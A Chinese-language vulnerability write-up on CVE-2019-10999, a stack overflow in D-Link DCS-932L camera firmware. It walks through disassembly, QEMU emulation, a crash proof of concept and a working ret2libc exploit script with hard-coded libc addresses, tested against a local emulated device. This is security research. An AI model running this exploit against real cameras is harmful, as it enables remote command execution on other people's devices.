【技術分享】CVE-2019-10999 Dlink IP 攝像頭緩沖區溢出

漏洞分析
CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。具體描述以及受攻擊的型號、固件版本可以查看參考鏈接,此處漏洞復現采用的是設備 dcs-932l 固件版本 1.14.04,固件下載鏈接查看參考鏈接。
對后端服務器程序 alphapd 進行分析,存在漏洞的函數是 sub_435DEC,開辟的棧幀大小是 0x48,其中該函數的返回地址保存在 sp + 0x40,存在溢出的緩沖區起始地址是 sp + 0x18。因此,只需要向緩沖區寫入超過 0x28 個字節就可以溢出覆蓋返回地址,劫持控制流。除此之外還可以控制 S0~S5 寄存器。
如下是 sub_435DEC 棧幀的開辟以及返回地址的存儲匯編代碼:
.text:00435DEC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .) .text:00435DF4 addu $gp, $t9 .text:00435DF8 addiu $sp, -0x48 .text:00435DFC sw $ra, 0x28+var_s18($sp) .text:00435E00 sw $s5, 0x28+var_s14($sp) .text:00435E04 sw $s4, 0x28+var_s10($sp) .text:00435E08 sw $s3, 0x28+var_sC($sp) .text:00435E0C sw $s2, 0x28+var_s8($sp) .text:00435E10 sw $s1, 0x28+var_s4($sp) .text:00435E14 sw $s0, 0x28+var_s0($sp) .text:00435E18 sw $gp, 0x28+var_18($sp)
如下是調用 strcpy 函數復制數據到棧上的緩沖區中,strcpy 的第一個參數 des 通過 a0 寄存器傳入,由于跳轉延遲槽,對 a0 的操作指令在 jalr 指令之后,但是先于跳轉指令執行:
.text:00435F98 loc_435F98: # CODE XREF: sub_435DEC+134↑j .text:00435F98 la $t9, strcpy .text:00435F9C move $a1, $s1 .text:00435FA0 jalr $t9 ; strcpy .text:00435FA4 addiu $a0, $sp, 0x18 .text:00435FA8 lw $gp, 0x28+var_18($sp) .text:00435FAC b loc_435E98 .text:00435FB0 nop
如下是函數執行完畢進行堆棧平衡,以及恢復 S0~S5寄存器、恢復 ra 寄存器到函數返回地址并跳轉執行。
.text:0004BF34 loc_4BF34: .text:0004BF34 lw $ra, 0x28+var_s14($sp) .text:0004BF38 lw $s4, 0x28+var_s10($sp) .text:0004BF3C lw $s3, 0x28+var_sC($sp) .text:0004BF40 lw $s2, 0x28+var_s8($sp) .text:0004BF44 lw $s1, 0x28+var_s4($sp) .text:0004BF48 lw $s0, 0x28+var_s0($sp) .text:0004BF4C jr $ra .text:0004BF50 addiu $sp, 0x40 .text:0004BF50 # End of function system
漏洞環境搭建
使用 qemu-system-static 搭建
漏洞環境搭建先是使用 qemu-mipsel-static 搭建。
# 進入固件的根目錄 復制 qemu-mipsel-static 到根目錄cp $(which qemu-mipsel-static) ./# 使用 qemu 啟動服務器 alphapdsudo chroot . ./qemu-mipsel-static ./bin/alphapd

根據逆向中的反編譯代碼提示,是因為需要打開 /var/run/nvramd.pid 文件,那么在固件根目錄創建 run 目錄和 nvramd.pid 文件。
創建 pid 文件之后,繼續運行依舊報錯,無法創建 RSA 密鑰,應該是缺少 urandom、random 設備造成的,手動在固件根目錄創建。

sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8 sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9
報錯 unable to write ‘random state’

OpenSSL 需要寫入一些信息到 .rnd 文件,上面的錯誤可能是因為 .rnd 文件不存在,OpenSSL 不知道默認文件在何處,因為 RANDFILE 和 HOME 環境變量沒有設置,那么解決方法就是創建 .rnd 文件并且設置環境變量指向這個文件。qemu 啟動的時候設置這兩個環境變量,解決了上面的問題。
touch .rnd sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd
Can’t get lan ip from sysinfo
通過搜索字符串定位到在 websStartupServer 函數中,通過調用 getSysInfoLong 獲取,在 getSysInfoLong 函數中是通過 /dev/gpio 設備獲取到,可以通過 patch getSysInfoLong 函數,或者在 websStartupServer 中 patch 地址判定代碼。此處選擇 patch 后者,就可以讓程序在 0.0.0.0:80 端口運行起來。
如下是 websStartupServer 的地址判定處反編譯,以及 patch 的基本塊:
v3 = getSysInfoLong(30); if ( !v3
&& (v5 = (const char *)nvram_bufget(0, "IPAddress"),
trace(0, "Can't get lan ip from sysinfo!\n", v4),
v3 = inet_addr(v5),
v3 == -1) )
{
trace(0, "failed to convert %s to binary ip data", v5);
result = -1;
} else
{
v6 = inet_ntoa(v3);
...
}

重新運行如下:


使用 qemu-system-mipsel 搭建
發現使用 qemu 搭建的調試,使用 gdb-multiarch 連接不上去,于是采用了 qemu-system-mipsel 虛擬機來搭建,進入固件根目錄。
chroot . /bin/mknod -m 0666 /dev/random c 1 8 chroot . /bin/mknod -m 0666 /dev/urandom c 1 9 touch .rnd export HOME=. export RANDFILE=$HOME/.rnd chroot . ./bin/alphapd_patch_j


漏洞調試
漏洞觸發
漏洞觸發代碼如下,也可以看到成功觸發了 segment fault。
import requests
Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://192.168.100.2/setSystemWireless', 'Upgrade-Insecure-Requests': '1'}
session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)print(res.text)

在 QEMU 虛擬機中開啟 alphapd,然后使用 gdbserver attach 上 server 的進程,通過 12345 端口提供調試

使用 gdb 調試,如下,保存在棧上的函數返回地址被 BBBB 字符串覆蓋

漏洞利用
接下來的步驟就是尋找環視 的 gadget,從棧中獲取數據設置 system 函數傳入的命令,并跳轉到 system 函數執行。
這個地方需要說一下,不能在 alphapd 中去直接尋找 gadget,因為 alphapd 的代碼段裝載在低地址空間,其中的 gadget 地址高位前兩位是 00,通過 url 傳遞地址會發生截斷。因此可以先看 alphapd 裝載了哪些 so 文件,從 so 中去尋找 system 函數和 gadget。此處選擇了 libuClibc-0.9.28.so ,因為通過 ldd 查看 alphapd 裝載的 so 文件,其中有 libc.so,libc.so 鏈接指向 libuClibc-0.9.28.so。
這個地方是在 QEMU 虛擬機中通過查看 map 文件獲取 ibuClibc-0.9.28.so 的裝載地址的,如果在實際應用中,需要能夠進入設備,從設備上查看 so 的裝載地址以及是否開啟了隨機化,但是一般低端路由器中都是比較老的 Linux 系統,沒有地址隨機化,那么在 QEMU 中也關閉了地址隨機化。此處選擇了第一個裝載的 libc.so.0 的基址:0x77ed0000
然后獲取到 system 函數相對裝載地址的偏移是 0x0004BD20,得到 system 函數的地址為 0x77ed0000 + 0x0004BD20 = 0x77F1BD20
在 IDA 中,對 ibuClibc-0.9.28.so 使用 mipsrop.stackfinder(),找到如下的 gadget,同樣計算出地址為 0x77ed0000 + 0x00050DE4 = 0x77F20DE4
.text:00050DE4 addiu $s2, $sp, 0x1C8+var_D8 .text:00050DE8 move $a0, $s2 .text:00050DEC move $t9, $s0 .text:00050DF0 jalr $t9 ;
gadgets 的功能是將 sp + 0x1c8 – 0xd8 處數據傳遞給 a0,然后跳轉到 S0 寄存器中去執行。通過前面對于緩沖區溢出的分析知道 S0 可控,寫入 0x10 個字節開始控制 S0 寄存器,寫入 0x28 個字節開始控制返回地址。那么整體的利用過程就是:
- 寫入累計 0x10 個字節后,控制 S0 寄存器值為 system 函數地址
- 寫入累計 0x28 個字節后,控制 ra 寄存器值為 gadget 地址
- 跳轉到 system 函數,執行構造的字符串命令。此時已經恢復了堆棧, 從恢復的 sp + 0x1c8 – 0xd8 取出命令開始執行
exp 根據 poc 簡單修改如下:
import requests
Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://192.168.100.2/setSystemWireless', 'Upgrade-Insecure-Requests': '1'}
session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x10 + '%20%BD%F1%77' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%0D%F2%77' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls'res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)
執行結果如下,執行命令 ls

小結
本文先分析了漏洞原理,然后分別從 qemu 的兩種方式仿真將 alphapd 啟動起來進行調試,然后通過 ret2libc 對漏洞實現利用。
漏洞原理還是比較簡單的,僅僅是一個緩沖區溢出 + ret2libc的操作。但是實際利用的話,也許還需要獲得設備,通過其他方式例如 UART 等先獲取到一個 shell,然后看程序的 so 加載內存布局獲取到基址。此外,漏洞是將路由器后端 server 發生了棧溢出的,觸發 segment fault,如果路由器沒有對 server 的守護進程或者看門狗,那么 server 就掛了。如果要穩定利用,可以考慮反彈一個 telnet 回來或者是在 exp 中通過 shellcode 重新啟動 server。